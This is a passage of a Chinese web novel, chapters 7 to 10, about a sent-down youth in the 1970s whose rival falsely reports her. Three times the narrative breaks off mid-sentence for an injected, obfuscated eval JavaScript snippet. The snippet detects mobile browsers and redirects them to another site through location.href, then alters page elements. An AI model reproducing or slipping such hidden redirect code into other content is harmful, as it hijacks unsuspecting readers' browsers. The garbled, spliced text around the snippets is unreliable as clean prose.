《七零回城女知青[穿书]》 7. 第 7 章 6月4日,李南书照常去公社出简报,会议前,黄书记和她道:“南书,昨天王特派员和我们了解了你的情况,你先安心工作,你的问题应该很快能解决。” 李南书知道不会那么简单,还是道了谢,又问道:“黄书记,您先前说今天给我安排一位同志,帮忙一起写简报的,您没忘吧?” 黄书记笑道:“没忘没忘,呐,这不就来了吗?你也认识。”说着,朝大门口的人挥手。 李南书顺着他的手看过去,就见穿着一身白衬衫、黑裤子的卢东樾朝这边过来,似乎因为今天开干部会议,他的衣服比较新,穿在身上显得人格外挺拔些。 等人近了,黄书记拍拍卢东樾的肩膀,和李南书道:“南书,听说你俩才认识没几天?你怕是还不知道吧?东樾可能干了,原先是盛湖大队的会计,上个月入了党,被调到公社武装部来,他以前也做过通讯员,你有什么活,尽管指派他。” 李南书笑着应下,等黄书记走了,和卢东樾道:“卢同志,昨天谢谢你为我说话,还劳累你跑了一趟我们村。” 卢东樾道:“没事,都是知青,互相帮个忙。李同志,你也别急,事情闹到了王特派员这里,肯定能给你解决。” 李南书也知道这事急不得,公安调查也需要时间,想了下,又问道:“我以前在公社好像没怎么见过你?” 卢东樾笑道:“我经常被派去带队修水渠,后来又被派去带队修水库,公社这边来的不多。” 李南书道:“那你的活可不轻松,比我们累多了。”她这话是有感而发,她们知青往上走可不容易。 石狮公社的村民一般自祖辈起,就是在这住的,往上捋一捋,各家都沾亲带故的,他们回乡知青当领导,有时候起纷争,就是看在他家长辈或姻亲面上,村民也不会闹得太难看。 但对外地知青,村民可不会给面子。特别像修水渠、水库这些都是重劳力活,卢东樾要想让民工们服气,不仅得立身正,还得比他们更能干一些,更能受苦受累。 他看起来也不大,至多比她大两三岁。 李南书望着他道:“我现在忽然能理解,你为什么可以拿到申城工学院的名额了,确实是做了很多实事。” 卢东樾打趣道:“那你先前是怎么想的,觉得我走后门了?” 见李南书有些发窘,卢东樾笑道:“也差不多,我是在公社和县领导跟前混了个脸熟,”他又转了话题道:“南书,昨天那个女知青,就是写举报信的吗?”昨天公安在,李南书情绪波动也大,他没好多问。 南书点头,“嗯,为了这一个工农兵大学的名额,她闹了很多事。” 卢东樾安慰她道:“没事,清者自清,王特派员他们又展开调查了,很快能还你一个清白。” 李南书不以为意地道:“你不用安慰我,这点困难,打不倒我的。”蓄意谋杀什么的,是她临时胡诌的,肯定不成立,人证也不充分,但公安只要着手去查,就能发现苏清溪那封举报信是完完全全的诬陷。 这个罪名,苏清溪可赖不掉。 公社不给她查,那就想法子让公安来查。她无法自证清白,那就让苏清溪也来试试看,怎么才能破局,证明自己的清白。 卢东樾见她眼神坚定,一副无所畏惧的样子,忽然觉得这姑娘看起来很有气派,心弦微微动了一下。 不一会儿,负责简报油印的钱新华也来了,他年长些,人有些胖,一早上就热得一头汗,边擦汗边道:“哎呦,今天东樾也来了,我们这简报小组眼看壮大不少啊!” 卢东樾笑笑,“钱哥说笑了,还要你多帮帮忙。” 钱新华道:“知道,知道,就是你不来,我和南书也配合得好得很,放心。不过,我们年少有为的卢副主任过来,我们这简报小组肯定能再创佳绩!” 大家都给他逗笑了。 上午八点钟,会议开始,第一天的会议主要是讨论阳江水库的事,公社提出把知青也纳入修水库的民工行列,咨询各大队的意见,以及后续的补助怎么定额等。 李南书一边记一边想,怪不得把卢东樾分到简报小组来,这事和他息息相关呢! 她写好通讯稿子,让卢东樾帮着修改了一下,卢东樾看着看着,就站了起来,只见上面写着:“阳江水库修筑在阳、渔两县交界的崇山峻岭之中,位于阳江上游,需采用混凝土双曲拱坝。总长预计16公里的总干渠……工程巨大,难题很多,现公社预备增加民工人数,加快工程进度……” 李南书见他皱着眉,问道:“卢主任,有什么问题吗?” 卢东樾摇头道:“没有,南书,怪不得黄书记喊我给你打下手,你写通讯真是简洁、易懂。” 李南书有些好笑地问道:“卢主任,你这是夸我,还是夸你自己?” 卢东樾还要客套几句,李南书打断他道:“卢主任,咱们就事论事,赶进度最重要,你说呢?” 卢东樾哑然,认真改起了稿子,增加了几句阳江水库目前的建设情况,心里却是对李南书有些钦佩起来,明明看着不大的姑娘,做事却利落得很。 改好以后,又拿给李南书看一遍,俩人都确认没问题,再誊抄一遍,交由钱新华油印。 等简报排版结束,李南书准备回去,卢东樾提出骑车送她,李南书拒绝道:“谢谢卢主任好意,但我最近还顶着个作风问题,不好连累人。” 卢东樾也就没坚持,“那李南书同志,明天再见!”又补充道:“要不,还是喊我卢知青,或者同志,喊名字也行,听你喊主任感觉有点别扭。” 李南书笑道:“是不是觉得,自个都和我们不是一个阶层的?行,卢同志,明天再见!” *** 李南书到村里的时候,已经是五点了,太阳敛了好些光焰,晚风吹来,让人都觉得精神放松了一些。 等到了郭家,就见兰姐又在收东西,“哎,南书,你回来了,骆一勤说这两天放晴了,让我们想回知青点的就先回去。” “那行,我们今天就先回去,也不好一直打扰郭婶子。” 小二妮还有点不舍得她们,郭婶子也留她们多住几天,李南书道:“婶子,我们在这,你每天又是鸡蛋,又是小炒的,我都怕把你家米缸吃见底了。” 徐永兰也道:“婶子,这几天真谢谢你,给你和小二妮添了不少麻烦。” 小二妮忙道:“才没有,南书姐姐、徐姐姐,你们来我家住,我可高兴了,小花和小牛都羡慕我呢!” 李南书轻轻捏了下她的脸蛋,“真的吗?我们小二妮可真会说话。有空来知青点找姐姐玩好不好?” “好!” 郭婶子塞了两个煮鸡蛋给她们,“你俩晚饭都不留下来吃,这两个鸡蛋可得带着,不然以后别喊我婶子。” 从郭家出来,徐永兰就道:“郭婶真客气,我们在她家住几天,尽拿好吃的来招待。” 李南书道:“可不嘛,等回头我去公社供销社买点鸡蛋糕给小二妮送去。” 徐玉兰忽然想起来昨天的事儿,和李南书道:“昨天你去报案后,小牛那孩子哭得可伤心了,说看见苏清溪把你往湖里推,你要被淹死了,我听郭婶说,现在大队里各家都叮嘱孩子,让他们离苏清溪远点。” 李南书没吱声,这孩子是把梦境和现实搞混淆了。 等到了知青点,就见贺琼玉倚在院子门口,抬头不知道想着什么,李南书开口喊道:“琼玉,怎么在这站着?” 贺琼玉接过她俩手里的包裹,“等你呢,”说着,压低了声音道:“苏清溪也搬回来了,要住你那屋,我把她拉到我那屋了。” 苏清溪没搬出去之前,是和李南书一个屋的。 徐永兰有些诧异地问道:“她怎么回来了,不是在牛木匠家吗?” “昨天公安来后,钱婶子吓坏了,说她家俩儿子还小,回头别给苏清溪带坏了,怎么都不同意苏清溪住在那,苏清溪又问了几家,大家都不愿意。” 李南书有些奇怪,“她没加钱吗?”这是没钱了吗?一百块钱,一百斤粮票就把苏清溪掏空了? 贺琼玉看了一眼身后,才接着道:“她又是偷东西,又是害人的,家风正些的,谁敢让她住进去?那些想挣这钱的人家,你看她敢去住吗?可不就回来了。” 又看着李南书,有点恨铁不成钢地道:“南书,你还说呢,你怎么在她手里栽了跟头?”贺琼玉老家是渔县同大公社的,这几天下雨,她回家住了几天,昨儿从县城回来,就见南书气咻咻地往村里赶。 李南书苦笑了下,“防不胜防。”她也没想到,为着这个大学名额,苏清溪这么能折腾。转念一想,苏清溪并不知道以后知青能回城,也不知道高考会恢复,她的“折腾”也可以看做一个青年在绝望中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16117854|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的抗争。 就是这个抗争的方式,害人利己。 贺琼玉点点头,“只有千日做贼的,没有千日防贼的,她回来住,你也别怕,我帮你看着!对了,那封举报信,你拿回来没有?” “还没有。” 贺琼玉道:“这事得趁早,别回头为了这事影响你上大学。” 琼玉这样一说,李南书也想起来,这事还是得快点解决,工农兵大学招生也就这十来天的事儿。 李南书心里惦记这事,苏清溪也惦记着,这天晚上,李南书正准备睡觉,忽然有人来敲她们门,李南书扬声问道:“谁啊?” “我是苏清溪,李南书,请你出来一下,我们聊一聊。” 李南书回道:“我不出来,我俩没什么好聊的,我怕你一刀把我害了。” 苏清溪见她不配合,急得跺脚,喊道:“李南书,你说,你要我怎么做才撤案?” 李南书见她是来求和,起身拉开了门,夜风吹得她打了个冷颤,风里裹着水滴,似乎又要下暴雨,“苏清溪,要我撤案可以,你先告诉我,那封举报信上,还有谁写了名字?” 苏清溪呼吸一窒,有些不可置信地看着她,“你怎么知道还有别人?” 李南书不耐烦地道:“你别管,你就说还有谁的名字?你也别想着骗我,等你告诉了我,我就去核实。” 苏清溪低了头,好半晌才嗫嚅着道:“还有晓蕙,孔……孔真真。” “孔真真是谁?” 屋里的徐永兰不知道什么时候也坐了起来,开口道:“南书,首长家的女儿,就我们前些天在公社学区看到的那位。” 李南书瞬时明白,为什么黄、杨两位书记说她得罪了人,说她这事,他们没法管,原来是避着这位,不敢管。如果不是她用“命案”来让公安查,那这顶“作风问题”的帽子,她是不是戴定了? 她甚至都不认识孔真真,李南书看了眼心虚的不敢看她的苏清溪,“是你怂恿她们签的名?” 到了这时候,苏清溪忽然无所谓了,语带讥讽地道:“你怎么就认定是我怂恿?你就这么笃定大家都喜欢你吗?李南书,我只是问她们愿不愿意在上面签名,她们就签了。你看,也有人像我一样讨厌你……” 李南书懒得听她废话,打断她道:“苏清溪,话不可能给你一个人说完了。”孔真真她不认识,晓蕙可就住在她隔壁,径直敲开了隔壁的门。 苏清溪见她要去找吕晓蕙对质,肉眼可见地慌了,喊了一声道:“李南书,你这是自取其辱。” 吕晓蕙已经躺在床上,脑子迷糊糊的,隐约听到外头有争吵声,可实在压不住困意,忽然听到李南书喊她,立即爬了起来,边揉眼睛边问道:“南书姐,你找我?” 李南书开门见山地问道:“晓蕙,你为什么举报我作风问题,我做了什么事儿,让你觉得我有作风问题?” 原本还有些迷糊着的吕晓蕙,立即被吓清醒了,“南书姐,你说什么?我举报你?我什么时候举报你了?我干什么举报你?”小姑娘急得眼泪都掉了下来,“南书姐,我不知道,你别吓我。” 举报可是大事,能害死人的,她怎么会好端端地干这事?吕晓蕙慌得不得了,她就是好偷懒、贪吃点,她什么都没干啊! 李南书松了口气,她相信晓蕙,缓了声调道:“晓蕙,是这样的,苏清溪举报我作风问题,她说你在这封举报信上签了名字,你想想,你什么时候在信纸上写了自己名字?” 小姑娘忽然抬头,“我想起来了,前几天,就你们去公社考试那天回来,苏清溪带了几块核桃酥来找我,还送了我一点信纸和笔,说这笔写字可好看了,让我试试,又问我名字里的‘晓蕙’是哪两个字,我就在信纸上写了一个名字。” 吕晓蕙懊悔死了,万想不到自己贪小便宜,惹了这么大一个祸事,“南书姐,我来这儿插队,就你对我最好,上次我害得你差点没命,你都没怪我,我要是举报你,那真是连畜生都不如了。” 说到这里,本来还哭着的小姑娘,忽然抹了眼泪,快步朝门口走去,猛不丁地拽住了苏清溪的辫子,用力往后一扯,苏清溪尚来不及惊呼,就“啪、啪”地挨了两巴掌。 平时看着没什么力气的小姑娘,一下子爆发起来,把屋子里的女知青都吓了一跳。 吕晓蕙气狠狠地道:“苏清溪,你欺人太甚了!” 8. 第 8 章 动静闹大了,男知青那边也出来看,贺琼玉在一旁简单总结,“苏清溪骗吕晓蕙在信纸上写了自己的名字,那信纸被用来举报李南书了,吕晓蕙被动成为联合举报人。” 此时,吕晓蕙已经被人给拉开,小姑娘蓬头散发的,赤红着眼看着苏清溪道:“我明天就要去报案,你陷害我的名誉,我不仅要去公安报案,还要去革委会举报你!” 小姑娘说完,就嚎啕大哭,“太坏了,怎么有这么坏的人,自己干坏事,还要诬陷我!”她越想越害怕,如果李南书被举报成功,她一辈子都不知道,自己曾经也是伤害南书姐的刽子手。 贺琼玉抱着她道:“没事,事情说开了就好,南书不会怪你的,走,今晚跟我睡吧!” 李南书也道:“晓蕙,我相信你的人品,因为相信你,我才会找你当面问清楚,你不要有心理负担。” 吕晓蕙哽咽着点头,“谢谢南书姐,还好你没事,不然我这辈子都没法做人了。我明天就去把那封信要回来。” 李南书苦笑了下,怕是不那么容易。 苏清溪坐在地上,索性不起来了,望着一片漆黑的天上,连星星和月亮都没有,她觉得就像自己的处境,黑得看不到一点希望呢?她不过就想要一个上大学的名额而已啊? 为什么这么难? 她伏在地上大哭起来,边哭边道:“我不过就是想回城,李南书,你为什么不能让让我,你还小,可我已经24岁了,我要是再在这小山村里蹉跎下去,拖成了老姑娘,我这一辈子就完了,我只是想回城,过一个普通城里姑娘的生活,怎么就不行呢?” 大家看着她,都没有出声。 李南书冷淡地道:“苏清溪,你想过普通人的生活,就要踩着我的名誉、未来,乃至性命吗?我有什么对你不起的地方吗?你想举报我,是蓄谋已久吧?从三月份你偷我的信开始,你就想把我击倒,好踩着我往上走。” 李南书呼了一口气,接着道:“你没错,难道我这个被你蓄意伤害的人,犯了什么不可饶恕的错吗?” 苏清溪泪眼婆娑地道:“李南书,你太优秀了,我想压过你,可是每次都被反压,你今年不走又怎么样呢?” “苏清溪,你从来没有和我开诚布公地说过,希望我让你什么,你每次都是以一个竞争者的姿态出现的,你的人生重要,我的未来、我的人生也很重要,”顿了一下,又道:“我不是你的什么人,我没有义务把我珍惜、珍爱的东西,跪着捧到你面前。” 苏清溪无话可说,低着头呜咽起来。 最后是骆一勤走过来,劝道:“清溪,不管怎么样,明天天亮再说吧,回去睡吧!” 苏清溪摇摇头,望着他,张了张嘴,到底什么也没说。 大家都没管她,各自回屋睡去了,徐永兰还喊南书搬了张桌子,把门堵了起来,“预防她晚上发疯,还是堵起来,我们睡得安心点。” 夜里果然又下起了雨,风大雨大,徐永兰爬起来朝窗外看了一眼,轻声道:“回去睡了,不在外头了。” 年纪较小的于菡萏道:“太吓人了,别说晓蕙了,我都被苏清溪吓死了,自己害人,还要拉着别人一起。” 徐永兰道:“晓蕙这回算是吃了个教训,唉,也是怪吓人的,这丫头平时也就偷点小懒,也没干什么出格的事,这回被这么陷害,以后怕是连朋友都不敢交了。” 隔了一会儿,徐永兰问道:“南书,如果苏清溪和你道歉,求你原谅,你会原谅吗?” 李南书轻声道:“不会,她的每一次计谋都想让我万劫不复,没有留一点余地,我绝不会原谅。”这时候,她也能理解原书里的哥姐,这个人没有给他们的妹妹一点退路,他们怎么可能让她有退路呢? 苏清溪的痛苦是痛苦,她李南书的绝望也是绝望啊!她没有那么高尚的情操,做不到以德报怨。 一直没出声的韩钰道:“南书,我支持你,其实你已经饶过她一次了,那次偷你的信,你不是选择了和解吗?最后并没换来人家的感恩,而是变本加厉地陷害你,不要心软,不然就等于在自己身边埋一条毒蛇。” 李南书应了声:“好!” 外面的雨忽然小了好些,淅淅沥沥的,李南书想了一会儿,也就睡着了。 第二天早上起来,吕晓蕙已经在廊下等她了,眼下有些青色,“南书姐,我要跟你一块儿去公社,我要把那封举报信拿回来。” “行,晓蕙,那你等我会。” 苏清溪也从屋里走出来,“李南书我把举报信拿回来,你撤案。” “好,我可以撤这个案子,但是苏清溪,你诬告我,是事实。” 苏清溪的脸色又白了一点,但是她想了一下,诬告什么的,没有蓄意谋`杀罪重,大不了她这两年都不报名工农兵大学。 三个人一起找到了公社革委会郑主任,说要拿回先前的举报信,郑主任年约四十岁,有点秃头,此时有些发愁地摸了摸脑瓜,问苏清溪道:“苏同志,你知道撤回举报信,意味着什么吗?” 苏清溪试探着问道:“诬告?” 郑主任点头,“你想清楚了?” 吕晓蕙忙道:“本来就是诬告,我的名字是写在一张空白纸上的,被苏清溪利用成了联合举报人,主任,我要举报苏清溪诬告和陷害。这件事,我们北山大队知青都可以为我作证!” 郑主任不高兴地道:“苏同志,这位小同志说的是事实吗?” 苏清溪点头,郑主任道:“那这封信你们拿不回去,这是苏清溪诬告的证据,你们先走吧,这事回头会有革委会的人来调查清楚的。” 李南书也去找了王特派员,一看到她来,王特派员就道:“李同志,你先前的案子,怕是证据不足。” 李南书点头,“是,我撤案,那苏清溪故意诬告我,您先前查案是知道的,我可以以‘侵害名誉权’报警吗?” 王特派员点头,“当然可以。” 李南书进去的时候,苏清溪就站在门外,听到这里,双腿发抖。 吕晓蕙看她这样,微微“哼”了声,轻声道:“这就害怕了?事情不是你做的吗?” 李南书今天还有任务在身,安慰了晓蕙几句,就去了会议室做准备工作。 苏清溪也没回北山大队,而是去隔壁大队找孔真真了。 孔真真见她来,还挺高兴的,“清溪,那天填 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16117855|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报大学,你怎么没去?我准备去县里买两件衣服,你陪我去看看?” 苏清溪摇了摇头,“真真,我今天是有事来请你帮忙。”在孔真真友善的目光下,她把这几天的事说了一遍,这回倒没有添油加醋,末了道:“真真,我已经认识到了错误,你可以帮我和公社领导说说吗?这次不记我的处分?我怕留了处分,以后彻底没机会回城了。” 说着,又哭了起来。 孔真真递了一张手帕给她,有些为难地道:“清溪,我也不知道我的话有没有用,我试试看?” 苏清溪握住她的手,一遍遍地道谢。 俩人到公社的时候,已经是下午了,刚好会议开完,黄书记接待了他们,听了孔真真的诉求,皱眉道:“孔同志,这件事我这边给不了你准话,还是要以公安特派员和革委会那边的调查结果为准。” 苏清溪咬牙道:“那如果我求得李南书的原谅呢?” 黄书记道:“那你们自己达成和解,什么都好说嘛!” 出完简报的李南书,就这样又被苏清溪和孔真真堵住了,孔真真抬着下巴,看了她一眼,语气颇为高傲地道:“这位同志,苏同志是有不对的地方,但俗话说得饶人处且饶人,退一步,你看可以吗?” 李南书听得都想笑,“孔同志,既然你口口声声说,得饶人处且饶人,你怎么不饶了我?我们俩都不认识,你从哪里知晓我有作风问题?” 孔真真脸红了一下,“我那天看见了,你和一个男知青嘀嘀咕咕的,你在公社还有个相好,这不是脚踏两条船吗?” 李南书顿时像看到了个傻子一样,鄙夷地道:“我那天不过报名和人说了两句话,我当时连他是谁都不知道。你就给我压了一顶帽子来,要毁我一辈子?你TM个傻子!” 孔真真立即不高兴地道:“你这人,怎么还骂人呢?” 李南书不想理她,“让让,我要回家,你们拦着不让我走,是不是又想谋害我?” 孔真真被她唬的后退了几步,又上前一步道:“我们赔偿,赔钱可不可以?” 李南扔了一句,“我绝不可能原谅,你们都是成年人,你们应该为自己的行为负责。”说完就大踏步走了。 她说的是“你们”。 这么会儿,孔真真忽然想起来,她也是在那张举报信上写了名字的,如果苏清溪是诬告,那她不也是吗? 她心里慌了一瞬,她插队之前,她爸千叮万嘱,让她不要在乡下惹事,她心里急慌慌的,没空理苏清溪,一路小跑到邮局,给她爸打电话了。 几个人只顾着争吵,压根没注意到卢东樾就在不远处站着,他听了一会,大概明白,李南书的“作风问题”里,还有他的原因。 他忽然理解李南书的气愤,他连多和李南书说两句话,都要想方设法,在他不知道的情况下,甚至就在他们刚认识的瞬间,他俩犯了作风问题? 多年以后,卢东樾把这件事当个笑话讲给别人听,但是现在,他为着自己给李南书带来麻烦而自责和担忧。 但是他仔细想了一下,他也不知道自己的问题在哪里?他不过是在一个平常的一天,和一位女同志说了两句平常的话。 9. 第 9 章 李南书晚上睡觉的时候,忽然想到一个问题,今天孔真真说她在大队里有个相好,这个相好说的是谁? 她想了一下,平时在大队里和谁来往多点,陆海林、徐彦博、张朴生、张瑞星的名字都在脑海里过了一遍,她还想到了骆一勤。 不会说的是骆一勤吧? 这个念头一起,李南书就从床上坐了起来,骆一勤本来心理负担就重,要是革委会的人找他谈话,还不知道怎么惊慌。 李南书越想越不安心,穿了鞋,到隔壁找苏清溪,苏清溪也没睡,听见李南书喊她,忙起来开了门,轻声问道:“什么事?” 李南书示意她出来,问道:“你举报信里,我那个相好是谁?这两天革委会和公安都要来问话,你要是不说,到时候不得把他们吓死吗?” 苏清溪不吱声,只盯着窗户看。 李南书也不催她,这两天革委会的人就会来,苏清溪要想还在这安生住几天,她肯定得说。 苏清溪吐了一个名字,“骆一勤”。 李南书心头火顿起,“队长的情况你不是不知道,你这样做,不是要害死他吗?苏清溪你的心太黑了,连队长都要害!” 苏清溪木着脸,淡淡地道:“也不算我胡说,他确实喜欢你。” 李南书冷笑了一声,“苏清溪,你真是好样的。就算他喜欢我,我有做什么吗?他有做什么吗?他喜欢我,就是作风问题?我是敌特吗?” 苏清溪扭了头,不说话。 李南书抓住了她的手腕,硬拖着她,去拍了男知青宿舍的门,“队长,你睡没,我们有点事想和你说一声!” 骆一勤似乎没睡,很快就出来了,看苏清溪也在,以为她俩又发生了争执,出声问道:“怎么了?” 李南书推了下苏清溪,“你说,你自己做的事,你自己说。” 苏清溪低着头,等听到李南书又冷哼了一声,像是被刺激到了,开口道:“骆一勤,我那封举报信里,编排了你是李南书的相好,明后天,公社可能有人来找你谈话。” 骆一勤的脸“唰”地就白了,瞳孔放大,不可置信地看着苏清溪,又看看李南书,像是被吓到的样子。 李南书被唬了一跳,忙安抚道:“队长,你不用担心,革委会和王特派员都知道这是诬告,他们下来调查,就是还我们清白的,和你没有一丁点关系,只是问个话而已。”她说着说着,自己也红了眼眶。 真正难的人,难道不是像骆一勤这样的吗?背着巨大的出身压力,一点风吹草动都胆颤心惊,为了不被人指着鼻子骂“黑五类的狗贼子”,什么脏活累活都抢着干,明明做了很多事,却连一个稍光明些的前途都不敢想。 苏清溪连这样的人都要害。 李南书越想越悲愤,反身在苏清溪胳膊上狠狠打了一下,“你心太黑了,就算你去上了大学,你良心能安吗?” 苏清溪的胳膊都被打麻了,倒是没有还手,红着眼眶道:“我没想害他,我只是用了一下他的名字。”李南书确实不曾有男女问题,她像是不开窍一样,对谁都是大大方方的,女儿家的羞涩、忸怩,她一点儿都没有。 她能想到的,只有骆一勤。她早看出来了,骆一勤看李南书的眼神不一样,那么温暖、小心翼翼,每次李南书和他说话,他的嘴角压都压不住。 门口的争执,很快被屋里的男知青们听到了,都出来安慰骆一勤,骆一勤一直没出声,好半晌才像回过神来一样,轻声道:“大家都去睡吧,有什么事明天再说。” 李南书见他情绪还算平稳,也就没有多说。 第二天一早,李南书在院子里看到骆一勤,刚开口喊了一声“队长”,就被骆一勤拦住了话头,“南书,我没你想的那么脆弱,你作为受害者都不怕,我更不会怕,我会好好配合公社那边的调查,还你……还我们一个清白。” “谢谢队长!对不起,因为我的原因,连累了你。” 骆一勤摇头,“和你没有关系,写举报信的不是你,你什么都没做,你不要有心理负担,”顿了下,望着她道:“南书,我还庆幸苏清溪写的是我,至少我不会从中作梗,不会故意污蔑、造谣你。” “谢谢,队长。”她想说什么,一时又不知道能说什么。 骆一勤摆摆手道:“你今天还得去公社出简报吧?快走吧,马上七点了。” 李南书走后,徐彦博拿着一个窝窝头过来,问道:“骆哥,要不要帮忙?” 骆一勤摇头,“不用,反正来了这里,我就没起过回城的心思,我没有作奸犯科,事情还能坏到什么程度?倒是南书,她本来今年可以上大学的。” 徐彦博不以为意地道:“李南书肯定能走,她人好,脑子活,手脚勤快,做事踏实,就算上不了大学,我看她被调到公社,也是迟早的事。” 又补了一句,“我有时候都在想,就李南书这冲劲、韧性,她以后得找个什么样的人当对象啊?她比我还小一岁呢!” 骆一勤笑道:“大概是个和她一样善良、能干的人。” 徐彦博掰着窝窝头吃完,又道:“我看苏清溪怎么也得去农场待待,她这日子还是过得太好了,平时请假偷懒,我们都不说她,她还搞内讧,偷东西、污蔑、造谣样样来。”徐彦博都觉得这些日子,自己是开了眼界了。 骆一勤道:“别的大队的知青,为了回城,闹得花样也五花八门。”只不过他自问对苏清溪还算关照,没想到临到头也被咬了一口。 他们正聊着,苏清溪从宿舍出来,似乎是考虑了一会儿,才走到他们这边来,“队长,我向你道歉,我当时被仇恨蒙住了眼睛,把你的名字写了上去,乱编排了你和李南书,对不起,希望你能原谅我。” 骆一勤看了她一眼,缓缓摇了摇头,“苏清溪,我也说一声对不起,恐怕我做不到。” 苏清溪怔了一下,似乎没想到他会拒绝,嘴巴有些干涩地道:“队长,你平时最照顾我们,我们小打小闹的,你从来不说,为什么这次不可以?” 骆一勤冷淡地道:“这一次不一样,这不是小打小闹。你自以为是的一时冲动,会毁了……毁了我和李南书,她本来可以去上大学的。” 苏清溪眼眸含泪,咬着嘴唇,“所以说,还是为了李南书,因为我阻碍了她的前程。” “随你怎么说,我问心无愧。”说完,转身就走了。 徐彦博皱着眉,“啧啧”了两声,“苏清溪,你这是把所有人当你爹妈了,你想欺负就欺负,你想道歉,别人还得原谅?” 苏清溪瞪着他道:“装什么装,要是有机会,你不走吗?” 徐彦博立即直起了脊背,“我不会为了奔前程,而把别人踩得流血流泪的。” ** 李南书到公社大院的时候,卢东樾也刚好骑着自行车过来,远远地就和李南书打招呼,等到了近前,问道:“李同志,昨天回去还顺利吧?” 他今天穿了一件灰色的衬衫,卡其色的裤子,看起来很干净清爽,比他们头一回见面还精神些。 李南书笑道:“卢同志,我发现你这几天格外精神,是不是人逢喜事精神爽。” 卢东樾知道她说的是他上大学的事,笑道:“差不多。” 李南书想到昨天孔真真和她说的话,开口道:“哦,我和你说,今天革委会和王特派员可能要和你说一个笑话,你到时候忍住一点。” 卢东樾挠挠头,“哎呀,我知道你说的是什么事,你们昨天在门口聊的时候,我刚好听到了。” 又道:“李同志,咱们真是英雄所见略同,我也觉得这事是个笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16117856|179992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。” 李南书笑了一下,“你是真可以笑,我就不一样,我可是当事人,我不能笑我自己。” 卢东樾收了笑意,认真地道:“李同志,你放心,这事我肯定和革委会的同志、王特派员解释清楚。” 李南书表达了感谢,眼看会议开始,俩人就没有再聊。 今天的会议主题是关于下半年的抢收、征粮工作,李南书正记着会议内容,忽然听到粮站主任说,“我们粮站一到收粮的时候就特别忙,黄书记,你看好不好再给我们粮站一个名额,招一个人进来?” 黄书记笑道:“哎呀,刘主任,你们粮站的工作忙起来是不得了,可是不收粮的时候,可要闲好几个月,这名额我就是给报上去,县里肯定也不会批。” 两个人一来一回又说了几句,最后确定可以安排一个临时工的岗位。李南书听得心里一动,正式工轮不到他们知青,临时工还是可以试一试的。 等上午会议结束,刘书记要走的时候,李南书马上跟了上去,“刘书记,打扰您一下。” 刘书记站住了脚,“哎,你不是我们公社的通讯员,找我有什么事,你说。” “刘主任,是这样的,我刚听您说粮站需要一位助征员,我想推荐下我们北山大队的知青队长骆一勤,他特别能干,每次遇到什么脏活累活他都顶在前面,人也很好,平时很照顾我们知青,您看看,可不可以给他一个机会?” 刘主任笑着问道:“你怎么称呼?” “我叫南书,姓李,您喊我小李就行。” 刘主任点点头,“李同志,我问一句,你为什么向我推荐他?他是你对象?还是你家亲戚?” 李南书忙摆手道:“都不是,不瞒您说,我就是觉得他特别能干,放在我们北山大队干农活,有些埋没了人才,他这样好的人品、能力,应该出去闯一闯,您看,要不要让他试一下?” 刘主任沉思了一下,“我和你说下要求,不喝酒,不胡闹,人正派本分,他是知青,应该有点文化?” 李南书补充道:“高中生,在大队里还帮我们会计干过活。” “那行,你让他明天下午来粮站一趟找我,对了,他叫什么名字?” “骆一勤!” 李南书一直把刘主任送到了大院门口,等人走远了,李南书捂着胸口,还觉得心脏跳动得快,她这是算给他们队长找了一份工作? 她一下午心情都很好,写稿子的速度都快了不少,连卢东樾都问她道:“李同志,什么事啊,你今儿这么高兴?” 李南书准备说,又赶忙闭了嘴,怕卢东樾泄露了消息,有更多的人来和骆一勤竞争。 不想,卢东樾见她一副不能说的样子,立即猜到:“不会是给你们队知青要了那个助征员的工作吧?” 李南书有些讶异,“你怎么知道?” 卢东樾道:“我看上午开会的时候,你听到这儿,就抬了头,朝刘主任看了好一会儿,刚刚散会的时候,你又追着人跑出去了。” 说完,又补充道:“你放心,我不和你抢这个名额。” 李南书这才道:“我推荐了我们知青队长,他人挺好的,平时对我们可关照了,就是出身压着一道,而且这会儿,我被举报的事,还牵连了他,我想着看能不能帮一帮。” 助征员也有工资,而且公社的机会总比大队里多点,说不准骆一勤能在粮站有新的机遇呢! 她说的坦坦荡荡的,卢东樾到嘴边的一句,“那你对他的看法呢?”就这样吞下去了,笑道:“那咱们今天加快速度,你早点回去告诉他这个好消息。” “嗯,好,谢谢卢同志!” 回北山大队的路上,李南书连走带跑的,她觉得今天的晚风格外的舒爽,天空的云朵都格外的白净、绵软。 10. 第 10 章 李南书到知青点的时候,贺琼玉正蹲在井水边洗豌豆,看到她回来,笑道:“南书,热不热?先洗个脸,井水凉得很。” “好的,琼玉,队长回来没?” 